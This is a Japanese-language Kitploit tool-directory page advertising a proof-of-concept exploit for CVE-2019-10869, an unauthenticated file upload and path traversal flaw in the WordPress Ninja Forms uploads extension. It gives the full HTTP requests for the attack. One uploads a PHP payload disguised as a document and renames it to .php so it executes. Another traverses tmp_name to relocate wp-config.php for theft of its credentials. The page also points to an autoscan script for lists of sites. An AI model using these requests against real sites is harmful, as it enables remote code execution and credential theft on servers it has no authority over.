Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-10869 — (Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – 認証なしの任意ファイルアップロード | Kitploit
ツール/GitHubGitHub/ktn1990/cve-2019-10869
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubktn1990/cve-2019-10869

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – 認証なしの任意ファイルアップロード

リポジトリを見る
1667年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – 認証なし任意ファイルアップロード

説明:

WordPress用Ninja Formsプラグイン(アップロードアドオンが有効な場合)のバージョン3.0.23未満に、パストラバーサルと無制限ファイルアップロードが存在します。これにより、攻撃者は includes/fields/upload.php(別名 upload/submit ページ)の name パラメータと tmp_name パラメータを介してファイルシステムをトラバースし、ファイルにアクセスしてコードを実行することができます。

POC:

Initial file upload Request:

root@kitploit:~
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522

-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"

1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"

5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"

0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword

<?php phpinfo(); ?>
-----------------------------16345274557837--

Response:

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.0 

"data":{  
    "files":[  
       {  
          "name":"test.png.doc",
          "type":"application\/msword",
          "tmp_name":"nftmp-14FpD-test.png.doc",
          "error":0,
          "size":19
       }
    ]
 }

When the form is submitted the initially uploaded tmp file is moved to a new location:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.(php)",
       "tmp_name":"nftmp-BNxfG-test.png.doc",
       "fieldID":5
    }
 ]
--snip--

その後、パラメータ「name」はWordPressの関数 sanitize_file_name によって「サニタイズ」されますが、この関数は基本的にあらかじめ定義された特殊文字のセットのみを削除します:

root@kitploit:~
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file)); 

sanitize_file_name 
Removes special characters that are illegal in filenames  
on certain operating systems and special characters 
requiring special escaping to manipulate at the command line. 
Replaces spaces and consecutive dashes with a single dash.  
Trims period, dash and underscore from beginning and end of filename.  
It is not guaranteed that this function will return a filename 
that is allowed to be uploaded. 

https://developer.wordpress.org/reference/functions/sanitize_file_name/ 

これにより、tmpファイルは最終的な場所に移動されます: /wp-content/uploads/ninja-forms/1/test.php

アップロードフォルダが明示的に実行不可に設定されていない場合(デフォルトではそのようになっていません)、コード実行が発生します:

alt text

tmp_name のパストラバーサル:

フォームを送信する際、以下に示すように tmp_name パラメータを介してファイルシステムをトラバースすることも可能です。tmpファイルはアップロードフォルダ内の新しい場所に移動されることに注意してください!

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.doc",
       "tmp_name":"../../../../wp-config.php",
       "fieldID":5
    }
 ]
--snip--

これにより、wp-config.phpファイルは以下の場所に移動されます: /wp-content/uploads/ninja-forms/1/test.doc

AUTOSCAN:

root@kitploit:~
USAGE: python script.py list-site.txt
ツールをダウンロード